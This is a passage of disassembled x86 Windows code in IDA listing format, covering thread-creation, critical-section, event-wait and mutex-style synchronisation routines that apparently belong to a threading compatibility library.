[esp+14h+var_4] jmp short loc_13D9DF2 ; --------------------------------------------------------------------------- loc_13D9DC3: ; CODE XREF: sub_13D9C60+28j push offset dword_102CAE0 call EnterCriticalSection cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_13D9DDB mov dword ptr [edi], 0 jmp short loc_13D9DE7 ; --------------------------------------------------------------------------- loc_13D9DDB: ; CODE XREF: sub_13D9C60+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_13D9DE7: ; CODE XREF: sub_13D9C60+179j push offset dword_102CAE0 call LeaveCriticalSection loc_13D9DF2: ; CODE XREF: sub_13D9C60+161j test esi, esi jz short loc_13D9DFE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13D9DFE: ; CODE XREF: sub_13D9C60+194j test ebp, ebp mov eax, ebp jnz short loc_13D9E11 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13D9E0C: ; CODE XREF: sub_13D9C60+15j ; sub_13D9C60+1Fj mov eax, 16h loc_13D9E11: ; CODE XREF: sub_13D9C60+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_13D9C60 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9E90 proc near ; CODE XREF: sub_13AB603j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_13D9EC0 add esp, 0Ch retn sub_13D9E90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D9EC0 proc near ; CODE XREF: sub_13D9E90+Cp ; sub_13DA190+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_13D9FC9 mov eax, [esi] test eax, eax jz loc_13D9FC9 cmp eax, 0FFFFFFFFh jnz short loc_13D9F02 push esi call sub_13ABF4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_13D9F02 cmp eax, 10h jnz loc_13D9FCE loc_13D9F02: ; CODE XREF: sub_13D9EC0+26j ; sub_13D9EC0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_13AB441 add esp, 4 test eax, eax jz short loc_13D9F22 call _errno ; _errno mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_13D9F22: ; CODE XREF: sub_13D9EC0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_13AB43C add esp, 4 test eax, eax jz short loc_13D9F42 call _errno ; _errno mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_13D9F42: ; CODE XREF: sub_13D9EC0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset dword_42FC30 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_13ABA59 push edi call sub_13AB4C3 add esp, 10h mov [esp+28h+var_20], eax test eax, eax jnz short loc_13D9FAA mov eax, [esp+28h+arg_8] add esi, 0Ch push eax push esi call sub_13ABC98 add esp, 8 test eax, eax jz short loc_13D9FA6 call _errno ; _errno mov eax, [eax] mov [esp+28h+var_20], eax jmp short loc_13D9FAA ; --------------------------------------------------------------------------- loc_13D9FA6: ; CODE XREF: sub_13D9EC0+D6j mov eax, [esp+28h+var_20] loc_13D9FAA: ; CODE XREF: sub_13D9EC0+C1j ; sub_13D9EC0+E4j xor ecx, ecx push 1 test eax, eax setz cl mov [esp+2Ch+var_4], ecx call sub_13AB522 mov eax, [esp+2Ch+var_20] add esp, 4 pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_13D9FC9: ; CODE XREF: sub_13D9EC0+13j ; sub_13D9EC0+1Dj mov eax, 16h loc_13D9FCE: ; CODE XREF: sub_13D9EC0+3Cj pop edi pop esi add esp, 20h retn sub_13D9EC0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA030 proc near var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+14h+arg_0], ebx lea edi, [esi+14h] push edi call sub_13AC625 add esp, 4 test eax, eax jz short loc_13DA05B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA05B: ; CODE XREF: sub_13DA030+21j mov ebx, [esi+8] test ebx, ebx mov [esp+14h+var_4], ebx jz short loc_13DA06E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_13DA0D7 ; --------------------------------------------------------------------------- loc_13DA06E: ; CODE XREF: sub_13DA030+34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_13DA0D7 lea ebx, [esi+10h] push ebx call sub_13AB441 add esp, 4 test eax, eax jz short loc_13DA0A2 call _errno ; _errno mov edx, [esp+14h+arg_0] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA0A2: ; CODE XREF: sub_13DA030+5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_13AB43C add esp, 4 test eax, eax jz short loc_13DA0CC call _errno ; _errno mov edx, [esp+14h+arg_0] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA0CC: ; CODE XREF: sub_13DA030+86j mov ebx, [esp+14h+var_4] mov dword ptr [esi+4], 0 loc_13DA0D7: ; CODE XREF: sub_13DA030+3Cj ; sub_13DA030+4Cj push edi call sub_13AB4C3 add esp, 4 test eax, eax jz short loc_13DA0F0 mov ecx, [esp+14h+arg_0] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA0F0: ; CODE XREF: sub_13DA030+B2j cmp ebx, 1 jnz short loc_13DA119 add esi, 10h push esi call sub_13AB43C add esp, 4 test eax, eax jz short loc_13DA119 call _errno ; _errno mov edx, [eax] mov eax, [esp+14h+arg_0] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA119: ; CODE XREF: sub_13DA030+C3j ; sub_13DA030+D3j mov ecx, [ebp+0] push ecx call sub_13AC625 add esp, 4 test eax, eax jz short loc_13DA12F mov edx, [esp+14h+arg_0] mov [edx], eax loc_13DA12F: ; CODE XREF: sub_13DA030+F7j pop edi pop esi pop ebp pop ebx pop ecx retn sub_13DA030 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA190 proc near ; CODE XREF: sub_13AB5E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_13DA19E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_13DA19E: ; CODE XREF: sub_13DA190+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_13D9EC0 add esp, 0Ch retn sub_13DA190 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA1D0 proc near ; CODE XREF: sub_13AC251j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13DA1F0 add esp, 8 retn sub_13DA1D0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA1F0 proc near ; CODE XREF: sub_13DA1D0+7p ; sub_13DA350+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_13DA2F4 mov esi, [eax] test esi, esi jz loc_13DA2F4 cmp esi, 0FFFFFFFFh jnz short loc_13DA214 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13DA214: ; CODE XREF: sub_13DA1F0+1Cj lea ebx, [esi+14h] push ebx call sub_13AC625 add esp, 4 test eax, eax jnz loc_13DA2F9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_13DA264 test eax, eax jnz short loc_13DA242 loc_13DA235: ; CODE XREF: sub_13DA1F0+77j push ebx call sub_13AB4C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13DA242: ; CODE XREF: sub_13DA1F0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_13DA259 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_13DA2C6 ; --------------------------------------------------------------------------- loc_13DA259: ; CODE XREF: sub_13DA1F0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_13DA2C3 ; --------------------------------------------------------------------------- loc_13DA264: ; CODE XREF: sub_13DA1F0+3Fj cmp eax, [esi+4] jle short loc_13DA235 lea ecx, [esi+10h] push ecx call sub_13AB441 add esp, 4 test eax, eax jz short loc_13DA290 call _errno ; _errno mov esi, [eax] push ebx call sub_13AB4C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13DA290: ; CODE XREF: sub_13DA1F0+87j mov eax, [esi+4] test eax, eax jz short loc_13DA2A4 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_13DA2A4: ; CODE XREF: sub_13DA1F0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_13DA2B9 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_13DA2C6 ; --------------------------------------------------------------------------- loc_13DA2B9: ; CODE XREF: sub_13DA1F0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_13DA2C3: ; CODE XREF: sub_13DA1F0+72j dec eax mov [esi], eax loc_13DA2C6: ; CODE XREF: sub_13DA1F0+67j ; sub_13DA1F0+C7j push ebx call sub_13AB4C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_13DA2EE add esi, 0Ch push edi push esi call sub_13AC44A add esp, 8 test eax, eax jz short loc_13DA2EE call _errno ; _errno mov ebx, [eax] loc_13DA2EE: ; CODE XREF: sub_13DA1F0+E3j ; sub_13DA1F0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13DA2F4: ; CODE XREF: sub_13DA1F0+9j ; sub_13DA1F0+13j mov eax, 16h loc_13DA2F9: ; CODE XREF: sub_13DA1F0+32j pop edi pop esi pop ebx retn sub_13DA1F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA350 proc near ; CODE XREF: sub_13ABA04j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13DA1F0 add esp, 8 retn sub_13DA350 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA370 proc near ; CODE XREF: sub_13AB63Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_13ABF13 mov esi, eax test esi, esi jz loc_13DA446 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax call malloc ; malloc mov ebx, eax add esp, 4 test ebx, ebx jz loc_13DA446 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_13DA3EE mov eax, [ebp+0] test eax, eax jz short loc_13DA3EE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_13DA3F0 call sub_13AB6E4 mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_13DA3F0 ; --------------------------------------------------------------------------- loc_13DA3EE: ; CODE XREF: sub_13DA370+4Dj ; sub_13DA370+54j xor edi, edi loc_13DA3F0: ; CODE XREF: sub_13DA370+6Ej ; sub_13DA370+7Cj push esi push 4 push ebx xor eax, eax push 401B95h push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call _beginthreadex ; _beginthreadex mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_13DA439 test ebp, ebp jz short loc_13DA432 cmp dword ptr [ebp+0], 0 jz short loc_13DA432 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_13AC4B3 add esp, 0Ch loc_13DA432: ; CODE XREF: sub_13DA370+AAj ; sub_13DA370+B0j push edi call ResumeThread ; ResumeThread loc_13DA439: ; CODE XREF: sub_13DA370+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_13DA479 loc_13DA446: ; CODE XREF: sub_13DA370+14j ; sub_13DA370+30j push esi call sub_13ABBAD add esp, 4 xor esi, esi test ebx, ebx jz short loc_13DA46C push ebx call free ; free mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA46C: ; CODE XREF: sub_13DA370+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13DA479: ; CODE XREF: sub_13DA370+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_13DA370 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA4E0 proc near ; CODE XREF: sub_13AB743j arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_13DA517 ; default jmp off_43011C[ecx*4] ; switch jump ; --------------------------------------------------------------------------- call sub_13ABB08 retn 0Ch ; --------------------------------------------------------------------------- call sub_13ABBB2 retn 0Ch ; --------------------------------------------------------------------------- call sub_13ABBC1 retn 0Ch ; --------------------------------------------------------------------------- db 0E8h, 0AFh, 16h dd 6E8FFFDh db 15h, 0FDh, 0FFh ; --------------------------------------------------------------------------- locret_13DA517: ; CODE XREF: sub_13DA4E0+Cj retn 0Ch ; default sub_13DA4E0 endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh dd offset dword_42FC30+4DDh dd offset dword_42FC30+4C5h dd offset dword_42FC30+4CDh dd offset dword_42FC30+4D5h db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA550 proc near ; CODE XREF: sub_13ABBB7j arg_0 = dword ptr 4 mov eax, ds:dword_102C590 push esi push edi push eax call sub_13AB590 mov edi, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_13DA574 push edi call _endthreadex ; _endthreadex add esp, 4 loc_13DA574: ; CODE XREF: sub_13DA550+18j push 1 mov [esi+14h], edi call sub_13AC1D4 add esp, 4 pop edi pop esi retn sub_13DA550 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA5A0 proc near ; CODE XREF: sub_13ABB58j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_102CAA0 xor esi, esi call EnterCriticalSection mov eax, [esp+4+arg_0] test eax, eax jz short loc_13DA5CB mov eax, [eax+4] test eax, eax jz short loc_13DA5CB push eax call GetThreadPriority ; GetThreadPriority cmp eax, 7FFFFFFFh jnz short loc_13DA5D0 loc_13DA5CB: ; CODE XREF: sub_13DA5A0+14j ; sub_13DA5A0+1Bj mov esi, 3 loc_13DA5D0: ; CODE XREF: sub_13DA5A0+29j push offset dword_102CAA0 call LeaveCriticalSection test esi, esi jnz short loc_13DA5EC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_13DA5EE loc_13DA5EC: ; CODE XREF: sub_13DA5A0+3Dj mov eax, esi loc_13DA5EE: ; CODE XREF: sub_13DA5A0+4Aj pop esi retn sub_13DA5A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA610 proc near ; CODE XREF: sub_13ABA4Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi test esi, esi jz short loc_13DA661 mov edi, [esp+0Ch+arg_4] test edi, edi jz short loc_13DA661 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_13DA641 lea eax, [esi+4] push eax call InterlockedIncrement ; InterlockedIncrement test eax, eax jnz short loc_13DA647 call edi mov dword ptr [esi], 1 loc_13DA641: ; CODE XREF: sub_13DA610+19j ; sub_13DA610+3Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13DA647: ; CODE XREF: sub_13DA610+27j cmp dword ptr [esi], 0 jnz short loc_13DA641 mov edi, Sleep loc_13DA652: ; CODE XREF: sub_13DA610+49j push 0 call edi ; Sleep cmp dword ptr [esi], 0 jz short loc_13DA652 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13DA661: ; CODE XREF: sub_13DA610+9j ; sub_13DA610+11j pop edi pop esi mov eax, 16h pop ebx retn sub_13DA610 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA690 proc near ; CODE XREF: sub_13AB6E4j mov eax, ds:dword_102C590 push esi push edi push eax call sub_13AB590 mov esi, eax add esp, 4 test esi, esi jnz short loc_13DA71C call sub_13ABF13 mov esi, eax test esi, esi jz short loc_13DA70C mov edi, [esi+7Ch] mov eax, 1 or edi, eax push ebx mov [esi+7Ch], edi mov [esi+20h], eax call GetCurrentThreadId ; GetCurrentThreadId mov ebx, GetCurrentProcess push 2 lea edi, [esi+4] push 0 push 0 push edi mov [esi], eax call ebx ; GetCurrentProcess push eax call GetCurrentThread ; GetCurrentThread push eax call ebx ; GetCurrentProcess push eax call DuplicateHandle ; DuplicateHandle test eax, eax pop ebx jnz short loc_13DA700 push esi call sub_13ABFBD add esp, 4 xor eax, eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DA700: ; CODE XREF: sub_13DA690+60j mov ecx, [edi] push ecx call GetThreadPriority ; GetThreadPriority mov [esi+28h], eax loc_13DA70C: ; CODE XREF: sub_13DA690+1Fj mov edx, ds:dword_102C590 push esi push edx call sub_13AC4DB add esp, 8 loc_13DA71C: ; CODE XREF: sub_13DA690+14j mov eax, esi pop edi pop esi retn sub_13DA690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA760 proc near ; CODE XREF: sub_13ABE50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_13DA77E test eax, eax jz short loc_13DA778 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_13DA77E loc_13DA778: ; CODE XREF: sub_13DA760+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_13DA77E: ; CODE XREF: sub_13DA760+Aj ; sub_13DA760+16j xor eax, eax retn sub_13DA760 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA7A0 proc near ; CODE XREF: sub_13AC3F0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_13DA7AE mov eax, 16h retn ; --------------------------------------------------------------------------- loc_13DA7AE: ; CODE XREF: sub_13DA7A0+6j mov ds:dword_102C5A0, eax xor eax, eax retn sub_13DA7A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA7D0 proc near ; CODE XREF: sub_13AB95Aj mov eax, ds:dword_102C5A0 retn sub_13DA7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA7F0 proc near ; CODE XREF: sub_13ABF13j push esi call sub_13AB707 mov esi, eax test esi, esi jnz short loc_13DA812 push 84h push 1 call calloc ; calloc mov esi, eax add esp, 8 test esi, esi jz short loc_13DA859 loc_13DA812: ; CODE XREF: sub_13DA7F0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax call CreateEventA ; CreateEventA test eax, eax mov [esi+38h], eax jnz short loc_13DA859 push esi call sub_13ABFBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13DA859: ; CODE XREF: sub_13DA7F0+20j ; sub_13DA7F0+5Aj mov eax, esi pop esi retn sub_13DA7F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA880 proc near ; CODE XREF: sub_13AB707j push esi push offset dword_102CAA0 call EnterCriticalSection mov esi, ds:dword_44575C cmp esi, 1 jz short loc_13DA8B5 mov eax, [esi+8] push offset dword_102CAA0 mov ds:dword_44575C, eax mov dword ptr [esi+8], 0 call LeaveCriticalSection mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_13DA8B5: ; CODE XREF: sub_13DA880+15j push offset dword_102CAA0 xor esi, esi call LeaveCriticalSection mov eax, esi pop esi retn sub_13DA880 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA8F0 proc near ; CODE XREF: sub_13ABFBDj arg_0 = dword ptr 4 push edi push offset dword_102CAA0 call EnterCriticalSection mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, ds:dword_44575C push offset dword_102CAA0 mov [edx+8], eax mov ds:dword_44575C, edx call LeaveCriticalSection pop edi retn sub_13DA8F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA940 proc near ; CODE XREF: sub_13ABA40j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_13DA960 add esp, 8 retn sub_13DA940 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DA960 proc near ; CODE XREF: sub_13DA940+7p ; sub_13DAA80+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_13AB6E4 mov esi, eax test esi, esi jz short loc_13DA996 mov eax, [esi+30h] test eax, eax jnz short loc_13DA99E mov eax, [esi+38h] test eax, eax mov [esp+10h+var_4], eax jz short loc_13DA99E mov edi, 2 jmp short loc_13DA99E ; --------------------------------------------------------------------------- loc_13DA996: ; CODE XREF: sub_13DA960+1Bj mov [esp+10h+var_4], 0 loc_13DA99E: ; CODE XREF: sub_13DA960+22j ; sub_13DA960+2Dj ... mov ecx, [esp+10h+arg_4] lea edx, [esp+10h+var_8] push ecx push 0 push edx push edi call WaitForMultipleObjects ; WaitForMultipleObjects mov ecx, eax sub ecx, 0 jz short loc_13DAA29 dec ecx jz short loc_13DA9D4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_13DA9D4: ; CODE XREF: sub_13DA960+59j mov eax, [esp+10h+var_4] push eax call ResetEvent ; ResetEvent test esi, esi jz short loc_13DAA1E lea edi, [esi+2Ch] push edi call sub_13AC625 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_13DAA15 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_13AB4C3 push 2 call sub_13AC1D4 add esp, 8 loc_13DAA15: ; CODE XREF: sub_13DA960+99j push edi call sub_13AB4C3 add esp, 4 loc_13DAA1E: ; CODE XREF: sub_13DA960+81j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_13DAA29: ; CODE XREF: sub_13DA960+56j pop edi xor eax, eax pop esi add esp, 8 retn sub_13DA960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAA80 proc near ; CODE XREF: sub_13AC170j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13DA960 add esp, 8 retn sub_13DAA80 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAAB0 proc near ; CODE XREF: sub_13AC003j arg_0 = dword ptr 4 push esi push offset dword_102CB00 xor esi, esi call EnterCriticalSection mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_13DAAE4 push esi push ecx call sub_13AC599 add esp, 8 mov esi, eax push offset dword_102CB00 call LeaveCriticalSection mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_13DAAE4: ; CODE XREF: sub_13DAAB0+17j test eax, eax jnz short loc_13DAAED mov esi, 16h loc_13DAAED: ; CODE XREF: sub_13DAAB0+36j push offset dword_102CB00 call LeaveCriticalSection mov eax, esi pop esi retn sub_13DAAB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAB20 proc near ; CODE XREF: sub_13AC599j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_13DAB34 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_13DAB34: ; CODE XREF: sub_13DAB20+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_13DAB4F mov eax, [edi] test eax, eax jz short loc_13DAB4F cmp dword ptr [eax], 1 jnz short loc_13DAB4F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_13DAB4F: ; CODE XREF: sub_13DAB20+1Aj ; sub_13DAB20+20j ... push esi push 2Ch push 1 call calloc ; calloc mov esi, eax add esp, 8 test esi, esi jnz short loc_13DAB74 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_13DAB74: ; CODE XREF: sub_13DAB20+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_13DAB90 mov edi, [edi] test edi, edi jz short loc_13DAB90 mov edi, [edi+4] jmp short loc_13DAB92 ; --------------------------------------------------------------------------- loc_13DAB90: ; CODE XREF: sub_13DAB20+63j ; sub_13DAB20+69j xor edi, edi loc_13DAB92: ; CODE XREF: sub_13DAB20+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_13AC076 add esp, 0Ch test eax, eax jz short loc_13DABCD push esi mov ebp, 0Bh call free ; free mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_13DABCD: ; CODE XREF: sub_13DAB20+8Ej lea ecx, [esi+14h] push ecx call InitializeCriticalSection ; InitializeCriticalSection mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_13DAB20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAC30 proc near ; CODE XREF: sub_13AC62Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_13DAD10 mov eax, [edi] test eax, eax jz loc_13DAD10 cmp eax, 0FFFFFFFFh jz loc_13DACD5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_13ABB7B mov esi, eax add esp, 4 test esi, esi jnz loc_13DAD0B mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_13DACC7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_13AB4C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_13DACC0 add edx, 10h push edx call sub_13ABA86 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax call DeleteCriticalSection mov ecx, [esp+8+arg_0] push ecx call free ; free add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DACC0: ; CODE XREF: sub_13DAC30+61j mov 